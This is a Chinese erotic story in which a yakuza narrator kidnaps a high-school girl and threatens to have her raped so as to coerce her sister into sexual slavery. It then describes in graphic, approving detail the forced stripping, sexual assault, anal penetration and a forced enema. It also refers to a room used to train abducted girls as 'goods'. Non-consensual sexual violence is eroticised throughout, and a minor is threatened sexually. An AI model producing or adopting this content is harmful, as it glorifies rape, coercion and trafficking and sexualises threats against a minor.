图片载入中

自尊与灌肠

特大字】 【大字】 【中字】 【小字

装满琥珀色液体的玻璃杯中,响起了冰块互相碰撞的声音。在滑熘的白色桌面上,忍受冰冷的身体早就蜷曲起来了。

“怎么样啊、在桌子上的感觉也不错吧!”

“真是抱歉、主人。”

全裸的被绑在桌子的四角,背上顶着玻璃杯的麻由美一动也不动的看着坐在地上的我。

之前印象中的麻由美是个行事能力高强的女职员。

现在她白天在丸之内的事务所上班,晚上则成为我专属的奴隶侍奉讨好我。 我拿下麻由美背上的玻璃杯,喝下一口威士忌,瞬间、灼热的感觉从喉间滑落,全身都舒畅了起来。

将玻璃杯放回麻由美的腰际时,麻由美响起朋短促可爱的悲鸣,玻璃杯的水滴延着屁股的线条滑落。

麻由美还真是个被虐待狂啊!

但引发她这种潜质的人可是我呢……

我将玻璃杯在麻由美身上轻缓的移动着、抚弄着。

麻由美一动也不动的趴在桌上忍耐着。因为她知道在我说“可以”之前是绝对不能动的。

“啊啊!”

我将玻璃杯里的威士忌全倒在麻由美的背上,她发出了细微短促的悲鸣后仍是一动也不动的忍耐着。现在她已经是个顺从的肉奴了。

我从玻璃杯中取出一块冰块,从她的颈骨开始慢慢移向她的股间,撑开她的肉壁刺激着她的花蕊。

麻由美从鼻腔中唿出悲鸣,但并没有逃开。我加重手指的力量将整块冰块送进她的柔壁内。

麻由美弯下腰,她的里面一定很冰冷吧!

那也没办法嘛、因为我塞了一大块冰块在她体内,技术不好的人还会因此冻伤呢。

但麻由美仍是不发一语的承受着。

在忍耐的同时,麻由美炙热的那里也溶化了冰块,湿淋淋的滴了下来。 黏稠的水滴,那是麻由美的爱液。真是的,她果然是个被虐待狂。

“再这样下去你会冻伤的,去把冰块拿出来吧。”

“是的,主人。”

麻由美火红着双颊,带着慌乱的鼻息朝我走了过来,毫无遮掩的身体让人一览无遗。

打开和式厕所的门,麻由美蹲在马桶上,所有的美景都映在我眼中。公司里的那些家伙哪有可能看到麻由美的这种姿态。

麻由美拢弓拢长发,用力的想挤出残留在体内的冰块,她白色的肌肤泄上红晕的同时,冰块也从她的那里喷了出来,掉在地毯上。

麻由美带着得意的表情走向我,等着我赞美她。我轻轻的摸了一下她的头。 麻由美是那种走在街上大家都会回头看的大美女,而现在她却是我的肉奴,也从我这里得到前所未有的刺激与快乐,还有什么叫人不满足的。

是啊,只要我将手伸入她体内,她就爽的跟什么一样,只要一进入她体内她就受不了了。

这是我的坏习惯。

但我的另一面,却有一个非常想得到的东西,在我得到之前是不会善罢甘休的,我对那个东西居然有着如此深的执念,连我自己也觉得不可思议。

从胸前的口袋中拿出一张照片,放在跪坐在我膝前等我发号下一个命令的麻由美面前。

“认识这个女人吗?”

“是……园内小姐吗?”

麻由美的表情瞬间不安起来。园内千鹤……现在因结婚而改姓为宫舞千鹤。 麻由美当然认得宫舞千鹤,当初两人同时进入公司,又因美貌相当也常让人拿来比较,当时还在公司蔚为一时的话题。

我当然也知道这些事,打从她们进公司时,我就非常注意她们了。

而如今麻由美已成了我的囊中物,千鹤却成为我同期同事的妻子。

当时,我的确满足于那种普通生活、正常的上下班、每天过着平凡的日子。 但千鹤却选择了毫无任何能力的宫舞,一切都错乱了。

我的父亲在秘密结社里是个数一数二的实力者,但我十分讨厌那种暴力的组织,所以才选择了这种普通的工作。虽然如此,但那个没路用的宫舞居然能得到千鹤,我开始对自己的选择感到疑惑。

想要的东西没办法得到手,这种人生根木毫无意义。因为我是那种想要的东西非得到手不可的人,果然我的体内还是流着黑道世家的血液啊!

千鹤和宫舞结婚的那一天,我便辞职转入了父亲的秘密结社。靠着父亲的关系,我在黑社会里的地位迅速爬升。

我——黑田龙二,现在已经是关东地区无人不知无人不晓的大人物了。 现在的生活,想要什么就能得到什么。

我很满足。

但这样的生活中,唯一还没有得到的就是宫舞千鹤了。

“我想要调教她。”

“园内小姐吗?”

麻由美的态度表露无遗,脸上写满了不悦。

她正不安的想着,要是我有新的奴隶,也许就会不要她了。

“你放心吧。我不会让你闲着无聊的,等我调教完千鹤,你也有功劳。” “真是太感谢您了,主人。”

“从明天开始一个礼拜,你就向公司请假。”

我才刚说完话,门铃便响了起来,那是非常狂暴的铃声。

明明自己有钥匙却还按门铃,真是个急躁的家伙。

麻由美慌乱的站了起来,全身上下仅着一件小围裙的她,立即走到玄关将门打开。

是我的主意,我允许麻由美穿着围裙。

门开了之后,房内响起了熟悉的声音。光听脚步声就知道是谁了,他是我父亲本家的兄弟——赤城。

“Bon,你还在搞这种无聊的把戏啊……”

从我小时候开始,赤城就看着我长大,他一直都叫我“Bon”。真的是有点丢脸,可是赤城的确是个值得信赖的家伙。

况且赤城还是组织中专门对付女人的好手,这对我要调教千鹤的计划有很大的助益。

赤城身后还站着一个高大的男人,是个有茶色头发,面露凶光的高大男子。 “这家伙最近在我手底下做事,叫做近藤。入我们这一行以前是在地……是在玩摔角的。”

赤城随便介绍了一下他身后的近藤。其实他所要说的应该是“地下摔角业”吧。

站在这庞大身体后的麻由美脸上写满了不安,和她之前的表情截然不同。 刚才是担心自己将被舍弃的不安表情,而现在则是为了千鹤的未来而感到不安。到底千鹤会受到怎么样的虐待呢?一定是现在过着幸福快乐生活的千鹤所无法想像的恐怖吧。

但这个地狱般的地方却是那么适合千鹤,我会让她跪在我跟前,让她领略到身为我的奴隶是多么令人愉悦的事,我一定会让她流下感动的泪水。

深沉静谧的夜晚,只有汽车轮胎发出的机嘎声响划破天际。

从遮帘的缝隙中向外窥视,在暗夜中只看的见住宅的灯光明耀着,车子徐徐开向目标。

这栋别墅的附近没有任何民家。

以前,是打算将这栋别墅开辟成避暑胜地,可是却在完成之前发生了一点小问题,也因此变成无法贩卖出售的废墟,我利用债权人的身份,将它归纳在自己的名下。

名为如此,其实这间位于深山中的别墅我们是将它拿来做为组织内部工作的场所。

我坐在沙发上,拿出口袋里的香烟,点了火抽了起来,我的客人还没来呢。在我抽完第三根香烟时,敲门声也响了起来。

“进来。”

厚重的门被推开了。

麻由美看着我深深行了一礼,便转过身去招待重要的客人。

带着不安神情的园内千鹤——不,是宫舞千鹤终于站在我的面前。

突然从自己家被带来这里,千鹤还穿着非常轻便舒适的家居服。

在之前的公司上班时,千鹤总是穿着笔挺的西式套装,就好像是从图画里走出来的摩登上班女郎,没想到才过了一年,和宫舞结了婚的千鹤竟然已经变成一个普通的家庭主妇了。

“黑田先生……为什么你会在这里……”

千鹤吃惊的睁大了双眼看着我。

“真是好久不见了,千鹤小姐。”

我十分有礼貌的问候着,但嘴角却是一抹冰冷的笑意。

千鹤当然也敏锐的查觉到我的不善。

“是你……是你诱拐惠理的……”

用这种坚毅的态度和我对话的千鹤,还是和以前一样一点都没变。既强悍、对不平等的事一定大力讨伐的个性、还有她那强烈的正义感,果然是个健全的女性。

要让千鹤听话最有效率的方法,就是让她看看妹妹惠理现在的处境。

在那里的赤城和近藤正和惠理相互拉扯着。

麻由美将惠理被捆绑的照片交给千鹤,不须要任何说明,千鹤现在已经被强烈的不安与威胁左右。

千鹤的丈夫宫舞现在正在马尼拉出差,期间为一星期。

除了打电话求救之外,根本无法和宫舞取得连络,而工作狂的宫舞更是不可能突然回国来,所以我没有什么好疑虑的。

这一个星期里,我有充足的时间来将千鹤调教成一个淫荡的肉奴。

“是啊,也可以说是我去诱拐惠理的,但我是请别人代劳的。”

“别开玩笑了!”

“喔,好恐怖啊。请别那么兴奋好吗?我们可是很久没见了呢……”

“惠理在哪里?”

千鹤并没有听我多讲废话的闲情逸致。

“真是个急躁的女人啊!”

我逼进千鹤眼前,抬了抬下颚示意前方的监视器。

从水泥墙透出来的昏暗的光线中,映出双手被绑住的惠理的身影。

连接而来的是惠理的哭喊声,逐渐变成断断续续的抽噎。

“你们到底对惠理做了什么?”

千鹤震惊的直盯着监视器。

“真是的,我当然是什么都还没做啊。可是,接下来就要看千鹤小姐你怎么做罗!”

此时,近藤的脸突然出现在监视摄影机的萤幕上,露出了卑猥低下的笑脸对着镜头比出了胜利的手势。

千鹤倒吸了一口气看着我。

“怎么做……你到底要我怎么做?”

“我要你成为我的奴隶。”

“奴隶……”

千鹤彷佛听到了完全不同的言语,露出了不可思议的表情。

“没错,就是奴隶……我要你成为我的奴隶。”

“不……不要,请你别开这种玩笑!”

还是没变。千鹤仍和以往的形象一样,大概她还保有身为我上司夫人的尊严吧。

千鹤自小就是受到各方的宠爱长大,而我却给了她一个特大的打击,这对她的自尊无疑是一大打击。

我下停的打击着千鹤的自尊。

“真是可惜,这并不是开玩笑……”

视线再度回到了监视器上,此时的近藤正脱下惠理的短裙,窥视着惠理的秘密。

惠理哭喊着,不停用唯一自由的双脚抵抗。

“请别这么做,快叫那个男人停止。快点啊!”

千鹤着急的抓紧我的手臂。

“你并没有叫他住手的立场吧,能够命令他的只有我。”

千鹤松开我的手看着我,又转过头看着监视器,充满悔意的咬一咬下唇。 终于痛苦的出了声。

“我了解了,我会听你的话,请你快点叫那个男人放开惠理,拜托你。” “奴隶原本是没有立场要求主人的,可是看在千鹤小姐刚成为我的奴隶的份上,我就破例网开一面吧。”

我才刚从嘴里吐出“奴隶”二字,便立刻收到千鹤不满的目光。拿起了监试器旁的麦克风。

“近藤,不能对重要的客人恶作剧哦。”

从扩音器中听到我的声音,近藤露出了不满的表情。

真像只畜牲。被这样的男人囚禁着,惠理似乎非常不安。

“这样就可以了吧!接下来,就换千鹤小姐来遵守诺言了。”

我切掉监视器的电源。

“你要我做什么?”

千鹤提心吊胆地问。

“那,就请你先脱掉衣服吧。身为奴隶还穿着衣服不是很奇怪吗?看看麻由美,她也是我的奴隶呢……”

麻由美脱掉鹅黄色的套装,仅着一件围裙站在门边。

围裙仍然包不住她丰满的乳房,淫荡地露了出来。

“坂木小姐……你……”

千鹤的视线对上麻由美不自在的双眼。让公司里的同事看到自己这种模样,的确是会让人感到丢脸。

虽然身为奴隶,但若失去了羞耻心不论怎么污辱都没有反应的话,也是不怎么好玩。

我还是比较喜欢带着羞耻心但还是对我唯命是从的奴隶。

“麻由美,到这里来……”

我的出声吓了麻由美一跳,但她也立刻跪了下来,朝我的方向爬了过来。白皙裸露的臀部随着她的移动,上下左右不停摇晃着。

恐怖、生气、不安、绝望……

看着麻由美这种卑下的态度,千鹤的脑中不自觉的浮现出许多恐怖的画面。 像小狗一般,麻由美爬到我脚边,不停磨蹭着。我摸摸她的头再次对千鹤下命令。

“脱掉衣服。”

千鹤敏感的察觉这是我的最后通碟,她彷佛是放弃般的叹了一口气。

聪明的女人。

调教这么多的肉奴后,果然还是征服聪明、自尊又高的女人最让人感到快乐和成就感。

但是在我眼前脱下毛衣的这个女人,可是曾拒绝我的“爱”,而投向宫舞怀抱的女人。

再过不久,我就要将她调教成会跪在我跟前,摇尾向我渴求肉棒的雌奴隶。 脱掉毛衣和裙子的千鹤,现在只穿着内衣裤站在我面前。白色的内衣下,那唿之欲出的美好肉体夸耀似的挺立着。

直是超过我想像的美,但这个身体也马上就会变为我的了。

千鹤脱下胸罩,用双手遮住她丰满的乳房,双脚紧闭着似乎想遮掩什么,视线也只敢放在地板上。

宫舞到海外受训还有一个星期才会回国,我有充裕的时间可以好好跟千鹤玩玩。

“来,把那个也脱掉,为了你可爱的妹妹。”

千鹤一听到“妹妹”心情便激动的动摇了起来。

咬着双唇悔恨的看着我。没错,就是这个样子,可是没有露出你的裸体这可不行喔。

千鹤将双手背到身后,胸罩也顺势滑了下来,她立即用双手遮住。

这次是内裤。

左手遮着乳房,千鹤用右手缓缓地脱下仅剩的内裤,立刻又用右手遮掩住她的阴部。

“把手拿开。”

千鹤仍是不敢抬头看我,只是身体不停的颤抖着。

后悔了吧。

不得不遵从他人的命令行事,而且还必须做出这么屈辱的事,这绝对是会让自尊超高的千鹤感到强烈的悔恨。

在沉默的压迫下,千鹤终于缓缓放下双手。

白净柔软的乳房不住的晃动着。她那看不出已身为人妻的粉红色乳尖也高耸的挺立着。

我不自觉的发出赞叹,目不转睛的瞧着。

来开始调教吧。

调教的第一阶段就是要将千鹤的自尊彻底的击垮,这可是调教游戏中最重要的一环。

“请跟我来。”

我走出房间,千鹤保持距离的跟随在我身后。

通过了长廊,千鹤也乖乖的跟随在后。

但教导她身为奴隶的授业是不可避免的。

“奴隶的走法可不能和主人相同啊,你看看麻由美吧。”

听到我的话,终于意识到麻由美存在的千鹤猛然转过身一瞧,身后的麻由美仅着一件小围裙,正以爬行的姿势跟随在后头。

“奴隶必须以爬行的方式走路,你了解了吗?”

虽然露出了怨恨的眼神,但对我的命令也不得不服从。

刚开始是脱掉衣服,接下来就会不断的屈服在我的命令之下,不知不觉中也只能朝着奴隶一途前进了。

千鹤跪在水泥地板上。

“跟我来!”

两匹雌犬跟在我身后,通过长廊来到调教室。一打开教养室的门立刻传出铁绣的臭味。

房间在微弱的光线照耀之下,只看到装潢前就已经停止施工剥落的水泥墙。 我们的组织一直以来,都是将这间内室用来把监禁的少女当做“商品”使用的房间。

这间内室早就不知道已经调教过多少少女成为淫荡的肉奴了。

爬行水泥地板上,跟在我身后进入内室的千鹤一看到屋内堆积凌乱的刑具不由得倒抽了一口气。

“这个房间是怎么一回事?”

四只脚还跪在地上,却提出这种疑问,看起来还真是滑稽。

“你马上就会知道了。麻由美,帮她戴上项圈……”

“项圈?不、我不要……不要……放开我……”

就算你再不愿意,也别期望有人会来救你。

麻由美将项圈戴在千鹤的颈项上,死命抵抗的千鹤终于颓然的放弃她的徒劳无功,安静了下来。

“接下来,我们要怎么玩呢?”

我将千鹤锁在屋内的中央柱子上,就好像是只附有血统书的高级名犬,长长的波浪卷发散在她白皙的肌肤上。

“惠理……惠理她没事吧?”

“啊啊,没事的。只要你好好的听我的话她就会没事的……”

总而言之,只要你服从我的话,一切就能在控制之内。但这可不代表我会让你们姊妹好过。

“那么首先,为了纪念你成为了我的奴隶,先让我看清楚你身体的每个角落吧……”

“这种事……”

千鹤张大双眼看着我,真是有够戏剧化的动作啊。

她的美可是受到各方眼神的注目呢,要她如此敞开身体任人观赏,的确是很痛苦的吧。

“让我看看你的私处,这可是为了你可爱的妹妹喔……”

为了好好观赏这场真人秀,我走到沙发边坐下,从口袋里掏出香烟点上火抽了起来,翘着二郎腿等着她。

千鹤正思考着,该怎么做才能做到最完美。

片刻过后,千鹤清晰的头脑告诉她,应该听从我的教导才能走向正解。 她抱着膝头坐在水泥地板上,朝着我,缓缓的分开紧闭的双腿。

过份的屈辱使她的双颊泛起了美丽的红潮,清澈的大眼羞愧的不知该看向何方。

雪白的大腿后露出了黑色卷曲的阴毛。双腿再分开点,我已能窥视到她柔肉间的那条龟裂的痕迹。

千鹤停止了动作。

一秒、二秒、三秒、四秒……

时间静静的流逝,千鹤抬起头偷偷看着我,像是想说什么似的沉默着。 “撑开那里让我瞧瞧。”

在千鹤想开口之前,我毫不留情的下了命令。

“这种事……我做不到。”

她张开双腿低着头。

“这样的话我也没办法。麻由美,传令给近藤,随他对惠理做什么都可以。啊……好可怜啊,她还只是个高中生吧,还有美好的未来呢……”

“不行、你不能这么做!”

“你没有资格说这种话喔……”

“我知道了……”

千鹤再度动起了她的双手,右手雪白的指尖潜入花卉中,将肉丘左右分开,以V宇型的开口呈献在我眼前。

噗啾……

在安静的调教室中响起了比思潮更大的声音。

千鹤撑开阴唇的同时,也是她抛下自尊、屈服在我脚下的最佳瞬间。

紧咬着双唇的千鹤痛苦的扭曲着脸,心和身体已经被羞辱的体无完肤,强烈的对比形成了一股淫秽的气氛。

我弹了一下手指,一旁的麻由美顶着波动的乳房,慌忙的走向房间角落将电灯打开。

突如其来的强光刺入千鹤的双眼内,连敞开的肉壁内部都清楚的映照出来。 何时开始已经濡湿了……

心和身体,究竟哪边会获胜呢……

“再撑开一点!”

我抬起千鹤的脸让她直视着我。

“我……如果我听从黑田先生所说的话,你就会放过惠理吧?”

做出连自己都不耻的动作,千鹤这种自我牺牲的美德,着实让我升起了嗜虐她的想法。

用自己的双手打开那羞耻的地方,不断地说出淫秽不堪的话语刺激着千鹤的感官,让她打从心里渴求肉体的抚慰,这真是很有趣的游戏。

首先,千鹤的身体会开始渴望男人的肉棒,变成淫欲支配的母狗。玩弄着自己私处,哭喊着要男人来安慰她。

接着,从柔肉的裂缝流出的爱液就好像是只发情的母猫似的渴求我的千鹤,也只能受到我毫不留情的嘲讽。

我在瞬间决定了千鹤的教养方式。

“千鹤小姐,我对你舍己救妹的情操觉得非常感动,所以,我决定将你调教成更美丽的女性。”

对我话中的意思感到害怕的千鹤打了一个寒颤。

“不……不要……”

虽然她抵抗着,但从天井垂下的锁链紧铐着千鹤的双手,毕竟是逃不了了。 不,虽然她想逃,但让她的期望落空,对我而言可是轻而易举的事呢。 拉高锁链,她尽可能掩护的乳房仍是晃动了起来。托高她的双手,千鹤这等姿态真是美极了。

我在她的左脚又套上了皮革制的刑具,千鹤便像芭蕾舞剧的女主角,停格在半空中。

因为膝盖弯曲,她的阴唇自然打了开来。

胆怯的阴唇在我面前收缩着。

那模样看起来真是愚蠢。

“真美啊……那么美的千鹤小姐变成家庭主妇实在太可惜了……”

两手高举的千鹤,乳房的波动真是太美了。

我将整个手掌包围住千鹤晃动的乳房,像是水袋般的柔软肌肤下的脂肪微微的波动,我恶劣的把玩着。

我不停地搓揉着,温热柔软的触感,不断从手掌传至全身。

“和我想的一样。千鹤小姐一直都穿着硬挺的西式套装,我早就想像过几百次你衣服下的裸体了。但是,这对乳房,比我想像的还要好上千倍……” “啊啊……”

千鹤从紧闭唇边发出呻吟,是因为受到我的屈辱吗?还是乳头在我的手指挑逗之下,产生反应才发出的可爱叫声呢?

“没关系啊,你可以尽情发出声音啊。刚才你来的路上也发觉到了吧,这种深山里,除了我们没有其他人,所以你也不用担心会吵到邻居。”

手指慢慢的抚过千鹤无暇的肌肤,滑过她没有一丝赘肉的小腹后,千鹤全身颤动了起来。

“你的身体十分敏感呢。”

手指继续往下滑,到达她浓密的黑森林。宫舞就是不停的玩弄这美丽的地方吧。

我的脑海中,突然浮现出在浴室里,用剃刀刮掉千鹤阴毛的画面。

你真的很不想让别人看到这种羞耻的姿势吧。别担心,我会让你做出更多羞耻的动作,好让你习惯的。

“啊啊……”

滑入她茂密的丛林中,千鹤的腰疯狂的颤动了起来,同时也发出她今天第一次官能的呻吟来回应我。

“果然如我所想的,你有成为M女的潜质。只是把你吊起来,你看,这里已经那么湿了。”

我将沾上她透明液体的手指伸到她面前,还闪着妖魅的光芒呢。

“不要!”

对脱离自己意识的官能反应感到羞耻,千鹤终于对自己这淫荡的躯体有了认知。千鹤发出了痛苦的悲鸣,但身上的锁链让她无法逃开这羞辱的一幕。 “你和宫舞的夜生活是怎么搞的啊?宫舞那么一板一眼,一定不知道自己的妻子居然这么淫荡吧。”

我抓着千鹤的下颚,让她正视着我。

但她的眼神里还有一点点理性的目光。

虽然有感觉了,但好像还不太够的样子。

“你已经开始渴望我的肉棒了吧?可是还不行,我要你变成我的奴隶后,再好好给你安慰和奖励,你好好期待吧。在这之前,只好请你稍为忍耐一下了。” 说完,我便抬起一旁的振动棒,千鹤不安的看着我,说出了今天早就不知道说过几次的那句话。

“不要……”

想当然尔,我怎么可能让你说不要就不要呢。

这就是曾经骄傲的拒绝过我,跟宫舞双宿双飞的女人。

对这个曾践踏过我的自尊的女人,现在我要加倍讨回来。

我将手伸进千鹤扩开的湿润花卉中。

不必喷上任何香水,千鹤的身体自然就会有一股清香气味。

现在她的身体和内心,都已经不加掩饰对我的抚摸产生反应了。

“不要……黑田先生,求求你……”

她弯下腰,防止振动棒侵入她体内。

先是让我看过她那羞耻的地方,抚摸过,现在我就要侵入她的体内。看着她抗拒的态度慢慢瓦解,果然还是蹂躏她的身体最让她感到痛苦。

可是有些事不彻底实行,她是不会了解我的苦心的。

“你不用这么害羞的,都已经湿成这样了,现在你最想的是什么我可是很清楚的唷。”

我加强手腕的力气,将振动棒送进她体内。

“啊啊……”

振动棒已经侵入她的体内。

我放开了握着振动棒的手,它开始在千鹤的体内发出振动的声响,千鹤抬起腰,瞬间的震撼,让她惊吓的无法动弹。

振动棒在还没有经过爱抚的内腔狂暴的动作着,我的身体也有和在她体内潜行的振动棒相同的快感。

“哈啊……啊……”

千鹤的眉毛成八字型,半开的双唇发出长长的、夹带着叹息的呻吟。

“如何?现在你的身体里有个那么粗的家伙,你现在一定爽死了吧!” “哈啊啊……这种事……啊啊啊啊啊……”

一将振动棒推得更深一点,千鹤就发出比刚插入时更大的叫声。

因为千鹤的双腿大开,在振动棒的挺送间,她粉红色的柔肉清楚的完全收在我眼底。

反复抽送之间,不知何时振动棒已经沾满了白色黏稠的液体了。

已经兴奋了吗?

女人的确是会为了保护自己而会分秘出爱液来减缓痛苦,但让千鹤濡湿的方法可不普通啊。

“你喜欢别人这样搞你吗?”

“啊啊啊……”

振动棒继续抽送着,千鹤没有回答我,只是无助的摇摇头。

“你这样我怎么会知道呢?我是你的主人,而你是我的奴隶,主人问你话时你应该要好好回答才是啊。”

从她的阴部拔出振动棒,将沾满她爱液的振动棒在她的脸颊边轻蹭着。千鹤咬着牙,闭紧双眼极力忍耐。

自己的爱液有那么羞耻吗……我恶意的将她的爱液涂在她的脸颊上,想看看这对她而言会造成多大的屈辱。

千鹤这等自视甚高的女性,她的忍受度一定也和普通人的耐力不同吧。 可是无论如何,这对她而言还是非常严苛的呢。

麻由美已经变成对我唯命是从的奴隶了,不管再怎么羞辱她,她也不会感到羞耻,真是一点都不有趣。

我扳开千鹤的双唇,将振动棒塞入她的嘴里。

被呛到的千鹤不断用舌头反抗。你很痛苦吧,后悔当时对我的态度了吧,她的脸颊滑过一抹晶莹的泪水。

“怎么样,好吃吗?自己的淫水是怎么样的味道啊?这可是有一个幸福美满的家庭的聪明的美人的淫水呢。”

振动棒顶到了喉咙,千鹤痛苦的咳了起来,沿着振动棒,她的唾液滴到了地板上。

千鹤继续咳着,身体也产生小小的伏动,好像哭了呢。

“真教人失望,这就是女强人的千鹤小姐吗?还是个弱女子嘛,你以为只要哭了我就会放过你吗?”

千鹤抬起了被眼泪濡湿的脸庞,充满悔恨的看着我。

我愉悦了起来。

虽然全裸着被绑起手脚,但千鹤始终维持她的自尊。

我一定要击溃你的自尊。

忍耐吧、忍耐吧,只要你心中仅存的高傲被我击溃,你也只能大声哭喊了。 “这样够了吧,放了我跟我妹妹!”

私处还滴着淫水,从刚刚开始在千鹤那种苦行憎般的痛苦表情底下,我早就察觉到了她的意图了。

这个女人为了自己的妹妹如此牺牲自己,不管是受到怎么样过份的对待,仍然咬紧牙撑下去。在这种过份的对待之下,她那种自我牺牲的美德真像是天使闪耀的光辉呢。

“麻由美!”

站在门边亲眼目睹我调教手法的麻由美慌张的走到我身边。

“是的,主人。”

“帮我准备一下那个。”

瞬间,麻由美带着不知所措的表情看了千鹤一眼。“我知道了!”行了一个礼后,麻由美便走向房内角落的刑具堆中。

看着麻由美的背影,千鹤开始不安了起来。到目前为止已经受到太多变态式的对待,但不安的心情仍在心中扩张着。

我走到千鹤的后面,从她的美背,到她的腰际来回抚摸她没有一丝赘肉的小腹,就像艺术品一样的美丽。

她那淫秽突起的臀部,又让我升起了想淫虐她的想法。我撑开她的双丘将它左右分开。

“住手!”

虽然想抵抗但千鹤的肛门已经完全暴露在我眼前了。

比起肉穴稍微有几分色素沉淀,但仍是个美丽的肛门。美人就连这种羞耻的地方也还是那么可爱。

“真是肮脏的小穴啊……”

我一边说着羞辱她的言语一边将手指抵住她的肛门,那层柔软的黏膜突然紧张了起来,抵抗着我想侵入的手指。

像千鹤这种高傲的女性攻陷她最快的方法就是肛门。

比起玩弄花卉亵渎她的肛门可是多了不知道多少倍的屈辱。

不断的加深爱抚,但千鹤的肛门仍顽固的抵抗着。

手指终于缓缓的进入一节。

“嗯啊……”

千鹤从唇边发出细微的喘气声。

比起肛门她的私处可是轻易的就接受我了,内部也立刻就湿热了起来。 在手指传动的瞬间,不断发出噗啾噗啾的声音。

从她的热泉中抽起手指,突然地刺入她的肛门。

用自己的体内流出的润滑油来帮助我的手指来蹂躏肛门。

“啊……不行……”

肛门的扩约肌面对突如其来的侵略者,只能震惊的吸紧我的手指,这可是阴道怎么都比不上的超感度啊。

想像着将阴茎插入千鹤的肛门内,我突然兴奋的想射精。

手指不断地努力想更进入,内地第二关节已经进去了,千鹤的腰激动的颤抖着。

指尖轻轻地刺激着千鹤的肠壁,千鹤悲鸣着,带着早已湿润的双眼转过头来看着我。

“好痛……拜托不要……黑田先生……”

在这种异常的状况下,她居然还称唿我为“黑田先生”,这让我心里更加的淫靡了起来。

“放松力气,这样你的疼痛就会减轻了……我来教你如何用后面的小穴来勾引男人。”

在不断强而有力的猛攻状态下,千鹤的肛门已经逐渐扩大。

“不要……不要……”

彷佛梦呓般的千鹤全身都涨起了红潮,除了疼痛感之外应该还有些其他的感觉吧。

羞耻吧,千鹤你一定觉得很羞耻吧。

一板一眼的的宫舞一定没有碰过你的这里,对你做过这种事吧。

对自己的美丽一直都有自觉的千鹤,再也没有比碰她不净的肛门更令她羞辱的事了。

所以我要这样对待你。

“让你久等了,主人。”

急急忙忙赶回我身边的麻由美,将一只装满500cc水溶液注射型浣肠器交给我。看着麻由美手中的玻璃制注射器,千鹤好像知道什么一样着急激烈的扭动身体,无奈她身上的锁链还是限制了她的行动,让她动弹不得。

“拜托……求求你不要……这种东西……”

她看起来是如此的悲伤。

“如我所见千鹤小姐的确有着M女的特质。让我好好的调教变成更可爱的肉奴难道不好吗?”

从肛门的深处抽出手指,连褐色中心的那层粉红的黏膜也跟着肛门变得皱巴巴。

一瞬间千鹤发出痛苦的惨叫,擦伤肠壁的痛苦随着抽出手指的瞬间,千鹤的全身也失去了力气。

但我并没有给她多少时间来平抚疼痛,紧接着便将浣肠器的前端送进了肛门内。

玻璃冰冷的触感让她的屁股稍微颤了一下。

“你最好不要乱动,这可是玻璃制品呢。要是你一不小心割伤的话,这里可就一辈子都不能用罗……”

听到了我的威胁,千鹤果然安静了下来,不发一语的承受,让浣肠器继续侵入肛门内,但嘴巴还是困难的断断续续吸着气,无能为力的哭泣着。

“你是第一次灌肠吗?”

对我的问题,千鹤仍是抽抽噎噎的哭着,并没有回答。

“这么美丽的洞穴应该是没有什么问题,宫舞对千鹤小姐的肛门难到没兴趣吗?”

“请你别说这么下流的话,我的丈夫不是这种人!”

虽然哭着但她还是有自己的意见,就是这种高傲的个性才必须忍受这么严苛的对待。

“那真是太遗憾了,从今天开始就让我好好的来疼爱你的肛门吧。”

“请别这样……”

千鹤的话只说到一半,因为我已经按下注射器的活塞,装着甘油的水溶液缓缓的注入千鹤的肠壁中。

有种说不出的感觉。

“啊啊啊……”千鹤的身体不断的向后仰。

因为浣肠器已经进入肛门,肠壁突然的痉挛起来。

“你看,已经慢慢进去了耶。”

为了添加乐趣,我故意慢慢的压下注射器的活塞,看着甘油充满千鹤体内,然后满出来。

“不要……好痛……我的肚子好痛……”

从下方窥视,千鹤的肚子渐渐鼓了起来。

比起之前女强人的形象,现在看起来不是可爱多了吗?我边赞美她一边将最后的100cc注入她体内。

千鹤痛得弯下腰,一头蓬松的长卷发早已经被甩乱。

“已经全都进去罗!”

拔出浣肠器,千鹤的肛门立刻收缩了起来,只有过多的浣肠液滴出来。 “不行……黑田先生……拜托你黑田先生……”

双脚被铁链囚禁的千鹤,肛门也紧缩着要求我。

用力的缩紧肛门和湿润私处的千鹤真是太可爱了。

“现在,要是将振动器塞进你体内,一定会很爽吧。”

我边说着,边将手伸进千鹤的肉穴中,由她体内制造的润滑剂让我的手指经易的就滑了进去。

似乎缩的比刚才更紧了。我的手指感受到她体内的温热柔软,抽送间,不停的发出噗啾噗啾的声音。

“不行……这样的……不要……不,要漏出来了……”

千鹤甩着头,向我哭诉。

“什么东西耍漏出来了?”

“就……就是……”

“要好好说清楚啊,不然我怎么会知道呢……”

“啊啊……我说不出口……这种事……”

千鹤全身颤抖着。

“那,我就当做没听到好了。”

我的手指更加狂暴的在她体内出入,肛门也越来越紧缩,差不多快受不了了吧。

“不行……我快受不了了……你这样动的话我会漏出来的……”

“所以到底是什么要漏出来了啊?要好好说清楚啊……”

我拔出湿淋淋的手指,擦在千鹤的背嵴上,千鹤已经冒汗了,是冷汗。 “为什么你脸色那么差呀?”

将充满爱液的手指抹在她唇上。

“大……大便……大便要漏出来了,请让我去厕所。”

居然从她口中听到“大便”这种名词!那么高傲的千鹤居然像小孩子一样,说出大便要漏出来的幼稚言语。

“不要担心,从今天开始,千鹤就是我的奴隶了,所以你就放心的大出一堆来吧……”

“这种事,我办不到。”

千鹤看着我大喊了出来,好像还没有完全屈服呢。无所谓,这样教养起来才更有乐趣。

“拜托你……拜托你黑田先生,请让我去厕所。”

这次已经换成敬语式的哀求口气了。

现在千鹤的脑中一定极度恐慌吧。

“我知道了,我让你去上厕所。但是,你必须发誓成为我的奴隶。”

“这……这种事……”

“不愿意也无所谓,就让你在我们面前拉出来吧,别忘了,和你是同事的坂木麻由美也在这里看着呢。”

和她同时进入公司的麻由美,也有着毫不逊色于她的美貌。

根本没有意思和她争美名的麻由美只是个被虐待狂罢了,但千鹤却燃起了激烈的反抗意志。

但现在千鹤却必须在麻由美面前解决。比起在我面前对她而言,这无疑是更屈辱的对待。

瞄了麻由美一眼,千鹤转向我。

“我知道了,我愿意成为黑田先生的奴隶。所以……所以……”

从刚才就一直冒冷汗的千鹤,已经无法控制自己的分泌,让汗水延着乳房的曲线流下。

双唇也不停的打颤。

普通人早就受不了这种痛苦,将堆积在体内的粪便一扫而出了,但自尊心甚高的千鹤是绝不容许自己做出这种事的。

可是,就算是如此高傲的千鹤,现在也已经成为我的奴隶了。

“身为奴隶是很辛苦的呢,必须做出许多令人无怯置信又羞耻的事,这样也无所谓吗?”

